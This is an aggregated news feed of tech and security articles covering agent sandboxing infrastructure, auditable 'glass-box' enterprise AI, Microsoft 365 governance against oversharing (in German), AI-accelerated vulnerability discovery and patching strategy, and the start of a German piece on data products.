<p class="wp-block-paragraph">Agent workloads change the threat model at the infrastructure level. A compromised stateless service exposes a narrow surface defined by its API contracts. A compromised agent exposes every system it can reach, every credential it holds and every action it is authorized to take on behalf of the user. Agents generate and execute their own code, make non-deterministic tool-call decisions and accumulate context across long-running sessions. Standard container namespacing does not contain that kind of risk. Kernel-level isolation, default-deny network egress, scoped credentials per session and agent-aware observability are not optional hardening steps. They are baseline requirements for running agents in production.</p>



<h2 class="wp-block-heading">What teams that ship agents have already figured out</h2>



<p class="wp-block-paragraph">Some of the clearest evidence for this shift comes not from infrastructure vendors but from product engineering teams running agents at scale on their own code. In late 2025, Ramp’s engineering team published a<a href="https://url.usb.m.mimecastprotect.com/s/Co8bCDwO0Ohg2PpXhAiRfjbcM8?domain=engineering.ramp.com" target="_blank" rel="noreferrer noopener"> detailed account of building Inspect</a>, their internal background coding agent. Each Inspect session runs in a sandboxed VM with a full-stack development environment and deep integrations across their observability, CI, and deployment tooling. The architecture requirements map almost exactly to the four primitives above. Filesystem snapshots keep sessions starting in seconds rather than minutes. Sessions are isolated and stateful. The agent can run tests, review telemetry, query feature flags and visually verify frontend changes in a real browser. And the whole system supports unlimited concurrency, so engineers can spin up ten parallel sessions exploring different approaches to the same problem without contention.</p>



<p class="wp-block-paragraph">The results speak for themselves. Within months of launch, roughly 30 percent of all pull requests merged to Ramp’s frontend and backend repositories were written by Inspect. That level of adoption was not mandated. It happened because the execution environment was fast enough, capable enough and well-integrated enough that the agent was strictly better than a local workflow for a meaningful share of tasks. The key insight from the Ramp case is not about the model. It is about the execution layer. As their team put it, session speed should only be limited by model-provider time-to-first-token; everything else, like cloning and installing, needs to be done before the session starts. That is a statement about infrastructure, not intelligence.</p>



<h2 class="wp-block-heading">The ecosystem is catching up, but defaults are sticky</h2>



<p class="wp-block-paragraph">None of that is a criticism of the tools. Kubernetes solved exactly the problem it was designed for, and it solved it well. The issue is that infrastructure defaults are sticky. Teams inherit them, build on top of them and optimize within their constraints long after the underlying workload has changed. The Kubernetes community’s own response, the<a href="https://url.usb.m.mimecastprotect.com/s/U22qCA8LmLh7yY0jIGfGfGdvGo?domain=kubernetes.io/" target="_blank" rel="noreferrer noopener"> Agent Sandbox project under SIG Apps</a>, validates the thesis that a new abstraction is necessary. The new primitives the community is building include warm pools for near-zero cold starts, lifecycle management for suspending and resuming idle agents without losing state, and pluggable kernel isolation for secure execution of untrusted code. These are not incremental improvements to existing resources. They are net-new abstractions that acknowledge the old model does not stretch to fit.</p>



<p class="wp-block-paragraph">But adoption of purpose-built agent infrastructure remains early. Enterprises building agent pipelines today are largely running a request-oriented orchestration model against an execution-oriented workload, and the mismatch shows up in task failure rates, runaway costs and debugging cycles that have no good tooling because the observability layer was also designed for stateless services.</p>



<h2 class="wp-block-heading">The structural advantage is available now</h2>



<p class="wp-block-paragraph">The infrastructure to close that gap exists now. The prerequisite is recognizing that agent execution is a first-class compute pattern with its own primitives and its own requirements, not a variant of the stateless service model that defined the last decade. Teams that make that shift early will have a meaningful structural advantage. The ones that do not will spend the next two years wondering why their agent systems are unreliable at a scale that should be tractable.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Getting from black-box AI to glass-box AI]]></title>
<description><![CDATA[A year ago, most enterprise AI systems generated recommendations. Today, AI systems are approving transactions, routing shipments, updating records, interacting with customers, and triggering downstream software actions with little or no human involvement.



For CIOs, that shift changes the cent...]]></description>
<link>https://tsecurity.de/de/3672874/ai-nachrichten/getting-from-black-box-ai-to-glass-box-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672874/ai-nachrichten/getting-from-black-box-ai-to-glass-box-ai/</guid>
<pubDate>Thu, 16 Jul 2026 11:04:17 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">A year ago, most enterprise AI systems generated recommendations. Today, AI systems are approving transactions, routing shipments, updating records, interacting with customers, and triggering downstream software actions with little or no human involvement.</p>



<p class="wp-block-paragraph">For CIOs, that shift changes the central governance question. The challenge is no longer simply whether an AI model is accurate. It is whether the organization can explain, audit, and defend the decisions the system makes.</p>



<p class="wp-block-paragraph">When an AI assistant suggests a meeting time or summarizes a document, mistakes are inconvenient. When an autonomous AI system issues a refund, reprices a product, modifies a customer record, or initiates a financial transaction, mistakes carry operational, legal, and reputational consequences.</p>



<p class="wp-block-paragraph">When those consequences arrive, “the model decided” is not an acceptable explanation.</p>



<p class="wp-block-paragraph">This is the accountability gap emerging at the center of enterprise AI adoption. Organizations are deploying increasingly autonomous systems while relying on technology that often provides little visibility into how decisions are made. The result is a growing mismatch between the level of authority organizations grant AI and their ability to understand or justify its actions.</p>



<p class="wp-block-paragraph">Black-box AI may have been acceptable when AI primarily generated predictions. It becomes far more problematic when AI begins taking actions on behalf of the business.</p>



<h2 class="wp-block-heading">The lesson software already learned</h2>



<p class="wp-block-paragraph">Fortunately, the technology industry has faced a similar challenge before.</p>



<p class="wp-block-paragraph">As enterprise software systems became more distributed and complex, troubleshooting failures became increasingly difficult. Engineers could no longer rely on intuition to understand what happened when something broke. The solution was <a href="https://www.infoworld.com/article/2262666/what-is-observability-software-monitoring-on-steroids.html" data-type="link" data-id="https://www.infoworld.com/article/2262666/what-is-observability-software-monitoring-on-steroids.html">observability</a>: the practice of instrumenting systems so their internal state could be understood through logs, metrics, traces, and monitoring.</p>



<p class="wp-block-paragraph">The goal was not to predict every possible failure in advance. It was to create enough visibility that teams could reconstruct what happened after the fact and identify the root cause.</p>



<p class="wp-block-paragraph">Enterprise AI now requires a similar discipline.</p>



<p class="wp-block-paragraph">But AI observability must go beyond traditional software observability. It is not enough to know what action occurred. Organizations also need visibility into why the system believed that action was appropriate.</p>



<p class="wp-block-paragraph">An auditable AI system should be able to answer questions such as:</p>



<ul class="wp-block-list">
<li>What information did the system rely on?</li>



<li>Which tools or data sources did it access?</li>



<li>What alternatives did it consider?</li>



<li>What verification steps were performed?</li>



<li>How confident was it in its conclusion?</li>



<li>What events led to the final action?</li>
</ul>



<p class="wp-block-paragraph">These questions are rapidly becoming essential operational requirements rather than technical nice-to-haves.</p>



<h2 class="wp-block-heading">Why visibility matters more as AI gains autonomy</h2>



<p class="wp-block-paragraph">As AI systems become more autonomous, failures become harder to detect and diagnose.</p>



<p class="wp-block-paragraph">A human reviewing a single AI-generated recommendation can often spot obvious mistakes. A network of AI agents coordinating multiple tasks across business processes presents a different challenge. Decisions can build upon one another. A flawed assumption early in a workflow can propagate through subsequent actions, creating confident but incorrect outcomes.</p>



<p class="wp-block-paragraph">The challenge is rarely identifying that something went wrong. Eventually, an error surfaces through a customer complaint, a failed transaction, an audit finding, or an operational disruption.</p>



<p class="wp-block-paragraph">The challenge is determining why it happened.</p>



<p class="wp-block-paragraph">Which information influenced the decision? Which tools were consulted? Which safeguards worked as intended? Which ones failed?</p>



<p class="wp-block-paragraph">Without visibility into the reasoning process, troubleshooting autonomous AI workflows can become significantly more difficult than debugging traditional software systems.</p>



<p class="wp-block-paragraph">For CIOs responsible for enterprise reliability, compliance, and governance, that lack of visibility creates unacceptable operational risk.</p>



<h2 class="wp-block-heading">Moving toward glass-box AI</h2>



<p class="wp-block-paragraph">The answer is not to slow AI adoption. The answer is to make AI systems observable.</p>



<p class="wp-block-paragraph">Increasingly, organizations are seeking AI systems that behave more like a glass box than a black box. The objective is not to expose every parameter inside a neural network. Rather, it is to provide a clear, auditable record of how decisions were reached and why actions were taken.</p>



<p class="wp-block-paragraph">The most promising approaches share two common characteristics.</p>



<p class="wp-block-paragraph">The first is verification. Instead of treating a single model’s output as ground truth, systems incorporate independent validation steps before actions are executed. Multiple agents, external checks, business rules, or verification workflows help identify errors before they become operational incidents.</p>



<p class="wp-block-paragraph">The second is explainability. Effective systems maintain a decision trail that captures inputs, intermediate reasoning steps, tool usage, verification activities, and outputs in a form that human reviewers can understand.</p>



<p class="wp-block-paragraph">Together, these capabilities create something that has long been expected of human decision-makers but is often missing from AI systems: the ability to show your work.</p>



<h2 class="wp-block-heading">The regulatory and business reality</h2>



<p class="wp-block-paragraph">The push toward AI observability is not being driven solely by technologists.</p>



<p class="wp-block-paragraph">Regulators increasingly expect organizations to demonstrate oversight of automated decision-making systems. Emerging AI governance frameworks place growing emphasis on transparency, traceability, accountability, and human oversight.</p>



<p class="wp-block-paragraph">Customers are moving in the same direction. Whether the decision involves pricing, service, eligibility, or support, people increasingly want the ability to understand and challenge outcomes that affect them.</p>



<p class="wp-block-paragraph">The result is a convergence of operational, regulatory, and market pressures around a single requirement: organizations must be able to explain what their AI systems are doing.</p>



<h2 class="wp-block-heading">Three questions every CIO should ask</h2>



<p class="wp-block-paragraph">Before deploying autonomous AI systems, technology leaders should be able to answer three basic questions:</p>



<ol start="1" class="wp-block-list">
<li>Can we reconstruct the complete decision path that led to an action?</li>



<li>Can we verify critical outputs before actions are executed?</li>



<li>Can a human auditor understand why the decision occurred?</li>
</ol>



<p class="wp-block-paragraph">If the answer to any of those questions is no, the organization may be granting more authority to AI than it can responsibly govern.</p>



<h2 class="wp-block-heading">Accountability will become a competitive advantage</h2>



<p class="wp-block-paragraph">The organizations that succeed with autonomous AI will not necessarily be those that automate the most processes or deploy the largest models. They will be the organizations that combine automation with accountability.</p>



<p class="wp-block-paragraph">Black-box systems made sense when AI primarily generated predictions. As AI increasingly acts on behalf of businesses, customers, and employees, visibility becomes essential.</p>



<p class="wp-block-paragraph">The future of enterprise AI will belong not to systems that merely act, but to systems whose actions can be examined, understood, and trusted.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
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<title><![CDATA[Die Governance-Falle: Warum einmalige Sicherheit nicht mehr reicht]]></title>
<description><![CDATA[Microsoft entdeckt laut dem aktuellen Digital Defense Report durchschnittlich 38 Millionen neue Identitätsrisiken pro Tag.Gelangen Angreifer über kompromittierte Zugangsdaten, gestohlene Tokens oder andere Identitätsangriffe an ein Benutzerkonto, entscheidet nicht nur die Kompromittierung selbst ...]]></description>
<link>https://tsecurity.de/de/3672808/it-security-nachrichten/die-governance-falle-warum-einmalige-sicherheit-nicht-mehr-reicht/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672808/it-security-nachrichten/die-governance-falle-warum-einmalige-sicherheit-nicht-mehr-reicht/</guid>
<pubDate>Thu, 16 Jul 2026 10:39:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Microsoft entdeckt laut dem aktuellen <a href="https://www.microsoft.com/en-us/corporate-responsibility/topics/cybersecurity/reports/microsoft-digital-defense-report-2025/" target="_blank" rel="noreferrer noopener">Digital Defense Report</a> durchschnittlich 38 Millionen neue Identitätsrisiken pro Tag.<br><br>Gelangen Angreifer über kompromittierte Zugangsdaten, gestohlene Tokens oder andere Identitätsangriffe an ein Benutzerkonto, entscheidet nicht nur die Kompromittierung selbst über den Schaden – sondern vor allem die Frage, auf welche Informationen dieses Konto zugreifen kann.<br><br>Genau hier entsteht in vielen Unternehmen ein weiteres Risiko. Über Jahre hinweg werden Inhalte geteilt, Projektbereiche geöffnet, Teams angelegt oder Freigabelinks erstellt. Häufig bleiben diese Berechtigungen bestehen, obwohl der ursprüngliche Bedarf längst entfallen ist. So entsteht Oversharing: Informationen sind für deutlich mehr Personen zugänglich als ursprünglich vorgesehen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/shutterstock_2468038535.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Cyber security and data protection on internet. Person touching virtual shield, secure access, encrypted connection. Password protected system and storage. Cybersecurity technology." class="wp-image-4196112" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Viele Sicherheitsarchitekturen verlieren mit der Zeit ihre Wirkung. Mit KI werden die Schwachstellen aufgedeckt – und ausgenutzt.</p>
</figcaption></figure><p class="imageCredit">shutterstock/CL STOCK</p></div>



<h2 class="wp-block-heading">KI macht sichtbar, was längst offenstand</h2>



<p class="wp-block-paragraph">„Wir sehen oft, dass Sicherheitskonfigurationen zwar initial sauber eingeführt wurden, im laufenden Betrieb dann aber viele Lücken entstehen“, sagt Sebastian Stiller, Product Owner Modern Workplace bei <a href="https://www.oediv.de/" target="_blank" rel="noreferrer noopener">OEDIV</a>, einem Unternehmen der Oetker-Gruppe, das mittelständische Unternehmen in IT-Strategie und -Betrieb begleitet.</p>



<p class="wp-block-paragraph">Microsoft behandelt Oversharing inzwischen ausdrücklich als Governance- und Copilot-Risiko und <a href="https://learn.microsoft.com/en-us/sharepoint/get-ready-copilot-sharepoint-advanced-management/" target="_blank" rel="noreferrer noopener">empfiehlt</a>, über SharePoint- und OneDrive-Governance gezielt zu prüfen, welche Inhalte zu weit freigegeben sind und dadurch in KI-gestützten Suchen sichtbar werden können.</p>



<p class="wp-block-paragraph">„Das ist eine Erkenntnis, die wir bei unseren Kunden regelmäßig sehen: Governance ist nicht nur ein Regelwerk, sondern eine kontinuierliche Aufgabe“, erläutert Stiller. „Viele Unternehmen haben die Werkzeuge, aber nicht den Prozess.“</p>



<h2 class="wp-block-heading">Endgeräte werden zur kontrollierten Zugriffsschicht</h2>



<p class="wp-block-paragraph">Die Herausforderung beschränkt sich nicht auf Identitäten, Berechtigungen und Datenzugriffe. Ähnliche Defizite zeigen sich auch bei den Endgeräten selbst. Multi-Faktor-Authentifizierung und risikobasierte Zugriffe gehören heute zum Basisschutz. Doch es reicht nicht aus, Geräte einmal sicher einzurichten und danach sich selbst zu überlassen.</p>



<p class="wp-block-paragraph">Moderne Arbeitsplatzumgebungen benötigen kontinuierliche Compliance-Prüfungen, standardisierte Sicherheits-Baselines sowie ein strukturiertes Patch-, Update- und Gerätemanagement. Die Folgerung ist: Auch Endgeräte müssen ein zentraler Bestandteil der Sicherheitsarchitektur werden.</p>



<p class="wp-block-paragraph">Das deutet auf eine zentrale Schwäche vieler Sicherheitsstrategien hin: Erprobte Sicherheits-Tools und Abwehrprogramme sind weit verbreitet, aber sie werden häufig nicht durchgängig genutzt oder dauerhaft operationalisiert. „In vielen Unternehmen fehlt ein dauerhaftes, möglichst automatisiertes Draufschauen“, berichtet Stiller aus seinen Erfahrungen. „Das liegt daran, dass Sicherheit häufig als Projekt gedacht wird – und nicht als kontinuierlicher Betriebsprozess.“</p>



<h2 class="wp-block-heading">Sicherheit ist keine Lösung, sie ist ein Betriebsmodell</h2>



<p class="wp-block-paragraph">Wer Sicherheit als Betriebsmodell denkt, muss oft nur seine Standardlösungen konsequenter nutzen. „Viele Unternehmen verfügen bereits über einen großen Teil der notwendigen Sicherheitsfunktionen“, erzählt Stiller. „Die eigentliche Herausforderung liegt häufig nicht in der Technologie, sondern in deren Operationalisierung – also darin, diese Funktionen konsequent, dauerhaft und kontrolliert zu betreiben.“</p>



<p class="wp-block-paragraph">OEDIV sieht <a href="https://www.oediv.de/loesungen/modern-workplace/sichere-identitaeten-und-zugriffe/" target="_blank" rel="noreferrer noopener">Modern Workplace Security</a> als Zusammenspiel aus Governance, Security und laufendem Betrieb. In diesem Sinne steht bei OEDIV <a href="https://www.oediv.de/fileadmin/downloads/oediv_onepager_managed_m365.pdf" target="_blank" rel="noreferrer noopener">Managed Microsoft 365</a> im Zentrum. Der Service macht Microsoft-365-Umgebungen dauerhaft kontrollierbar – mit klaren Regeln, laufender Überwachung und strukturierten Verbesserungsprozessen.</p>



<p class="wp-block-paragraph">OEDIV adressiert damit die oben erwähnten Schwachstellen: Konsequente Governance und fortlaufendes Nachschärfen im Regelbetrieb. So wird aus Managed Microsoft 365 ein Betriebsmodell für Sicherheit, Governance und Kontrolle. Das sorgt zum Beispiel dafür, dass zu weitreichende Freigaben oder Risiken im Identitäts- und Zugriffsmanagement frühzeitig sichtbar und gezielt adressiert werden können.</p>



<h2 class="wp-block-heading">Zu einem Betriebsmodell gehört operative Steuerung</h2>



<p class="wp-block-paragraph">Ergänzt wird dieser Ansatz durch Managed Workplace, das die operative Steuerung der Endgeräte nach zwei komplementären Ebenen strukturiert: Einerseits sollen die Geräte durch Endpoint Management, Patching und Endpoint Security sicher und aktuell bleiben. Andererseits geht es um die operative Kontrolle der Geräteflotte – vom Mobile Device Management bis zur kontrollierten Bereitstellung von Anwendungen.</p>



<p class="wp-block-paragraph">Im Zusammenspiel mit Managed Microsoft 365 entsteht so eine integrierte Steuerungsebene: Identitäten, Geräte und Datenzugriffe sind nicht länger isolierte Inseln, sondern ein durchgehend kontrollierter Bereich. So lässt sich zum einen die Sicherheit technisch erhöhen. Zum anderen entsteht ein operativer Rahmen, in dem Abweichungen schneller erkannt und entsprechende Maßnahmen umgehend eingeleitet werden können.</p>



<p class="wp-block-paragraph">Diese integrierte Steuerungsebene funktioniert nach zwei zentralen Leitprinzipien, die OEDIV in alle Services einbettet: Security by Design bedeutet, dass Sicherheit von Anfang an in jede Komponente eingearbeitet ist – nicht als Zusatzmodul, sondern als durchgängiges Strukturprinzip. Bei beiden Services ist jeder operative Schritt mit Sicherheitsvorgaben verwoben.</p>



<p class="wp-block-paragraph">Evergreen by Design adressiert das Problem der Statik. Viele IT-Systeme werden einmal konfiguriert und danach kaum modernisiert. OEDIVs Service-Modell bettet kontinuierliche Aktualisierungen, Patches und Best-Practice-Optimierungen ein – Sicherheit und Modernität entstehen im laufenden Betrieb, nicht nur bei der initialen Konfiguration.</p>



<p class="wp-block-paragraph">„Deshalb positionieren wir Managed Workplace und Managed Microsoft 365 nicht als isolierte Lösungen, sondern als integrierte Service-Angebote“, erläutert Stiller. „Governance, Security und Betrieb sind bei uns nicht voneinander zu trennen – sie sind die Grundlage für echte Kontrolle.“</p>



<p class="wp-block-paragraph"><a href="https://www.oediv.de/loesungen/modern-workplace/digitaler-arbeitsplatz/" target="_blank" rel="noreferrer noopener">Sicherheit zur Betriebsroutine machen</a></p>
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<title><![CDATA[Flaw surge fuels need for CISOs to rethink vulnerability management]]></title>
<description><![CDATA[Security experts are calling on enterprises to revise their vulnerability management strategies and move towards “just in time” patching in response the increased pace of vulnerability exploitation.



Attackers are turning to AI to increase the rate of vulnerability exploitation and supply chain...]]></description>
<link>https://tsecurity.de/de/3672628/it-security-nachrichten/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672628/it-security-nachrichten/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management/</guid>
<pubDate>Thu, 16 Jul 2026 09:24:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Security experts are calling on enterprises to revise their vulnerability management strategies and move towards “just in time” patching in response the increased pace of vulnerability exploitation.</p>



<p class="wp-block-paragraph">Attackers are <a href="https://www.csoonline.com/article/4181924/ai-worm-prototype-shows-attackers-dont-need-mythos-to-take-over-your-network.html">turning to AI</a> to increase the <a href="https://www.csoonline.com/article/3632268/gen-ai-is-transforming-the-cyber-threat-landscape-by-democratizing-vulnerability-hunting.html">rate of vulnerability exploitation</a> and supply chain compromise so that traditional forms of vulnerability management are no longer keeping pace.</p>



<p class="wp-block-paragraph">Muhammad Yahya Patel, vCISO and cybersecurity advisor for EMEA at managed security services vendor Huntress, recently <a href="https://www.csoonline.com/article/4176086/vulnerabilities-have-become-cyber-attackers-no-1-door-to-the-enterprise.html">told CSO</a> that “organizations need to shift their vulnerability management program to a risk-based, continuous [approach], tied to real-time exploitation intelligence — not scheduled patch cycles that leave exploitation windows wide open for days and weeks.”</p>



<h2 class="wp-block-heading">Wild frontier</h2>



<p class="wp-block-paragraph">Frontier AI tools such as Claude Mythos have <a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html">signaled a structural shift for cybersecurity</a>, readily surfacing vulnerabilities at a huge scale — a development that, as government security assurance organizations such as the UK’s National Cyber Security Centre point out, is likely to lead to a surge in patches.</p>



<p class="wp-block-paragraph">“Most organizations already struggle to fix known issues quickly, so a spike in AI-driven discovery could easily overwhelm teams and widen the gap between finding problems and fixing them,” Andrew Woodford, CTO at network security vendor Titania, tells CSO. “In many ways, this just exposes a problem that’s already there.”</p>



<p class="wp-block-paragraph">Shane Fry, CTO at cybersecurity vendor RunSafe Security, argues that <a href="https://www.csoonline.com/article/3520881/patch-management-a-dull-it-pain-that-wont-go-away.html">patching as a security strategy</a> has been in crisis for years, and AI-accelerated vulnerability discovery has simply pushed it over the edge.</p>



<p class="wp-block-paragraph">Some experts contend that virtual patching — a technique that involves blocking exploit attempts at a security layer rather than fixing vulnerable code — represents a sound mitigation strategy, but Fry has reservations about the approach.</p>



<p class="wp-block-paragraph">“While virtual patching will play a role going forward, its effectiveness is limited and leaves security teams chasing a gap they will never be able to close,” Fry says.</p>



<p class="wp-block-paragraph">Instead, security teams need to shift toward mitigation-first approaches that make it impossible for attackers to exploit bugs in software.</p>



<p class="wp-block-paragraph">“Removing entire classes of exploits upfront takes the heat out of the patch gap, and allows patching to become strategic rather than reactive,” Fry argues.</p>



<h2 class="wp-block-heading">‘Assume Autonomy’</h2>



<p class="wp-block-paragraph">The conventional patch management model was designed around a world where vulnerability discovery happened at human speed: A human researcher finds a flaw, reports it, a CVE gets assigned, vendors ship a fix, enterprises test and deploy it — a process that can take weeks.</p>



<p class="wp-block-paragraph">AI-powered vulnerability discovery blows this model out of the water.</p>



<p class="wp-block-paragraph">“If offensive AI can identify, validate, and exploit vulnerabilities without human authorization, a 43-day median patch time, as noted in Verizon’s DBIR, is the least of your problems,” argues Rik Ferguson, vice president of security intelligence at Forescout. “An AI system doesn’t wait for a proof-of-concept to circulate on GitHub or a CVSS score to land in a dashboard. It finds the flaw, confirms exploitability, and moves.”</p>



<p class="wp-block-paragraph">Ferguson advocates a change of approach toward what he describes as “Assume Autonomy.”</p>



<p class="wp-block-paragraph">“The question is what compensating controls you put in place between discovery and remediation, and how you constrain what an attacker can do with access they’ve already acquired,” Ferguson explains.</p>



<p class="wp-block-paragraph">Just-in-time patching fits in with this philosophy and is a desirable goal but may be difficult to achieve in practice especially for the many enterprises that struggle with asset management.</p>



<p class="wp-block-paragraph">“Just-in-time patching is sound in principle: prioritize and deploy fixes as exploitation intelligence emerges rather than waiting for the scheduled window,” Ferguson says. “But achieving it has some real-world requirements: continuous asset visibility, knowing precisely what you have, where it is, and what its current exposure status is.”</p>



<p class="wp-block-paragraph">For example, Ferguson adds, “you can’t patch just-in-time against a vulnerability in a device you didn’t know was on your network.”</p>



<h2 class="wp-block-heading">Virtual patching</h2>



<p class="wp-block-paragraph">Gunter Ollmann, CTO at pen testing as a service firm Cobalt, notes that just-in-time patching makes sense if and when a patch is available — but that’s not always possible.</p>



<p class="wp-block-paragraph">“The major problem lies in the discovery of new vulnerabilities in code or systems that the business has no rights or capabilities to fix themselves, and they have a dependence upon third parties to develop the fix or patch — and are therefore subject to external SLA [service level agreement] turnarounds,” Ollmann explains.</p>



<p class="wp-block-paragraph">In such cases, enterprises will need to deploy virtual patches capable of blocking or deflecting the exploitation vectors of the vulnerable system.</p>



<p class="wp-block-paragraph">“Businesses are in desperate need of quickly deciphering a new vulnerability and dynamically creating an appropriate blocking rule — or rules — for their layered defenses,” Ollmann says.</p>



<p class="wp-block-paragraph">Virtual patching may mitigate security threats particularly in operational technology (OT) and IoT environments where applying a vendor patch to a running production system risks unplanned downtime or safety system interruption but only serves as a stop gap, Ferguson tells CSO.</p>



<p class="wp-block-paragraph">“A network-layer control that blocks exploitation of a known flaw, while you work through the testing and deployment cycle for the actual fix, is a compensating control,” notes Ferguson, who warns that virtual patches come with multiple drawbacks.</p>



<p class="wp-block-paragraph">“Virtual patches require accurate detection signatures, they don’t remediate the underlying vulnerability, and they can create a false sense of closure that delays proper patching indefinitely,” Ferguson argues. “The risk is that temporary becomes permanent. The underlying vulnerability stays open, and the virtual patch becomes the reason nobody revisits it.”</p>



<h2 class="wp-block-heading">Just-in-time risk reduction</h2>



<p class="wp-block-paragraph">Douglas McKee, director of vulnerability intelligence at Rapid7, advocates what he describes as just-in-time risk reduction rather than just-in-time patching because of the practical difficulties with the latter.</p>



<p class="wp-block-paragraph">“In the real world, especially in OT, medical devices, and business-critical systems, you can’t always patch the second a CVE drops,” McKee argues. “You still need testing, maintenance windows, rollback plans, and someone who actually owns the asset. However, the old monthly scan, report, and remediation cycle will not survive this pace.”</p>



<h2 class="wp-block-heading">Tips for modernizing vulnerability management</h2>



<p class="wp-block-paragraph">The enterprise attack surface has expanded significantly of late, and patch management models haven’t kept up. In response, security leaders’ vulnerability management strategies have to become more of a continuous monitoring function, not a triage and remediation process.</p>



<p class="wp-block-paragraph">Modernizing enterprise approaches to vulnerability management involves “real-time exploitation intelligence integrated into prioritization, compensating controls deployed at discovery rather than at patch release, and visibility across the full asset estate that conventional patch management tools were never designed to cover,” Ferguson says.</p>



<p class="wp-block-paragraph">Rapid7’s McKee stresses that security teams need to separate “known vulnerable” from “actually reachable and exploitable in my environment.”</p>



<p class="wp-block-paragraph">This process can be achieved through a combination of asset inventory, internet exposure mapping, KEV tracking, vulnerability intelligence, ownership, and emergency change paths.</p>



<p class="wp-block-paragraph">“Prioritization based on risk factors like public exposure, known exploitation, automation potential, and technical impact is key,” McKee concludes.</p>
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<title><![CDATA[5 Tipps, um Data Products zu entwickeln]]></title>
<description><![CDATA[width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px">Wenn KI-Agenten Geschäftswert liefern sollen, können Data Products hilfreich sein.Gorodenkoff / Shutterstock



Data Products tragen dazu bei, die Art und Weise zu standardisieren, wie Rohdaten, Data-Warehouse-, sowie logis...]]></description>
<link>https://tsecurity.de/de/3672305/it-security-nachrichten/5-tipps-um-data-products-zu-entwickeln/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672305/it-security-nachrichten/5-tipps-um-data-products-zu-entwickeln/</guid>
<pubDate>Thu, 16 Jul 2026 06:06:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Wenn KI-Agenten Geschäftswert liefern sollen, können Data Products hilfreich sein.</figcaption></figure><p class="imageCredit">Gorodenkoff / Shutterstock</p></div>



<p class="wp-block-paragraph">Data Products tragen dazu bei, die Art und Weise zu standardisieren, wie Rohdaten, Data-Warehouse-, sowie logische Data-Lake-Ansichten kombiniert und genutzt werden, um Analyse- und KI-Funktionen bereitzustellen. Indem sie <a href="https://medium.com/data-mesh-learning/what-exactly-is-a-data-product-7f6935a17912" target="_blank" rel="noreferrer noopener">Datenprodukte</a> entwickeln, können Teams in Unternehmen einen Großteil der im Vorfeld erforderlichen Daten-Pipelines sowie Governance- und Management-Tasks optimieren. Darüber hinaus gewährleisten diese auch, dass Mensch <a href="https://www.computerwoche.de/article/4132787/wie-ki-agenten-daten-konsumieren-sollten.html" target="_blank">und KI</a> auf vertrauenswürdige Datenressourcen zugreifen.  </p>



<p class="wp-block-paragraph">Kochen bietet an dieser Stelle eine hilfreiche Analogie: Sie könnten sich dazu entscheiden, für Ihr Lieblingsgericht ausschließlich auf frische Zutaten zu setzen. Dieser Ansatz funktioniert gut, wenn Sie sowohl die Zeit als auch die nötigen Fähigkeiten dafür mitbringen. Wenn nicht, setzen Sie eventuell lieber auf Convenience-Bestandteile – insbesondere unter Zeitdruck. Datenprodukte bieten eine vergleichbare Zeitersparnis – Analytics- und <a href="https://www.computerwoche.de/article/4170715/so-integrieren-sie-ki-ohne-benutzer-zu-verprellen.html" target="_blank">KI-Funktionen</a> bauen in diesem Fall auf konsistenten, (vor)optimierten „Zutaten“ auf.</p>



<p class="wp-block-paragraph">Die folgenden fünf Tipps sollten Sie bei Ihrer Data-Product-Initiative unbedingt verinnerlichen.</p>



<h2 class="wp-block-heading">1. Data Products strategisch nutzen</h2>



<p class="wp-block-paragraph">Die meisten Unternehmen können es sich nicht leisten, für jede Datenvisualisierung, jedes Machine-Learning-Modell oder jeden <a href="https://www.computerwoche.de/article/4189343/was-ki-agenten-wirklich-kosten.html" target="_blank">KI-Agenten</a> eigene Datenprodukte zu entwickeln. Schließlich ist das mit Kosten und Zeitaufwand verbunden. Dazu kommt: Sobald ein Data Product bereitgestellt ist, müssen die Produktmanager für fortlaufenden Support und ein entsprechendes Lifecycle-Management sorgen. Die erste entscheidende Frage ist also, in welchen Fällen es für agile Daten-Teams Sinn macht, Datenprodukte zu entwickeln – und wie dabei priorisiert werden sollte.   </p>



